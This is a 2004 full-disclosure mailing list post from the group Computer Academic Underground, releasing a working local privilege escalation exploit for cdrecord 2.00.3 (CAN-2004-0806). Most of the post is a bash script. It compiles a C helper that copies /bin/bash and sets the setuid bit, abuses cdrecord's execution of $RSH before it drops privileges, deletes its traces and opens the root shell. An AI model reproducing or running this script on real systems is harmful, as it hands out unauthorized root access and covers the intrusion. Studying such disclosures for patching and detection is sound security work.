full-disclosure - CAU-EX-2004-0002: cdrecord-suidshell.sh

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From: druid at caughq.org (I)ruid)
Subject: CAU-EX-2004-0002: cdrecord-suidshell.sh

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                    Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2004-0002
Release Date:   09/09/2004
Title:          cdrecord-suidshell.sh
Description:    cdrecord $RSH exec() SUID Shell Creation
Tested:         cdrecord 2.00.3
Attributes:     Privileged Access
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2004-0002.txt
Author/Email:   I)ruid <druid@...ghq.org>
===============/========================================================

Description
===========

This shell script writes out and compiles a C application which sets
it's UID to it's EUID and copies a SUID shell to the current directory,
compiles it, then uses cdrecord's use of the $RSH environment variable
to execute it.  It then cleans up it's mess and executes the shell for
convenience.


Notes
=====

This exploit is written assuming your target shell is bash.


Credits
=======
Max Vozeler is credited with discovering this vulnerability as stated
in the Mandrake Linux security advisory MDKSA-2004:091.


References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0806
http://www.mandrakesecure.net/en/advisories/advisory.php?
  name=MDKSA-2004:091


Exploit
=======

#!/bin/bash

#
#  cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
#
#  Exploits cdrecord's exec() of $RSH before dropping privs 
#

cat > ./cpbinbash.c << __EOF__
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

main( int argc, char *argv[] ) {
	int fd1, fd2;
	int count;
	char buffer[1];

	/* Set ID's */
	setuid( geteuid() );
	setgid( geteuid() );

	/* Copy the shell */
	if ((fd1=open( "/bin/bash", O_RDONLY))<0)
		return -1;
	if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
		return -1;
	while((count=read(fd1, buffer, 1)))
		write(fd2, buffer, count);
	free(buffer);
	close( fd1 );
	close( fd2 );

	/* Priv the shell */
	chown( "./bash", geteuid(), geteuid() );
	chmod( "./bash", 3565 );
}
__EOF__

cc ./cpbinbash.c -o ./cpbinbash

# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash

# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -

# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=

# Use our suid bash
./bash -p 


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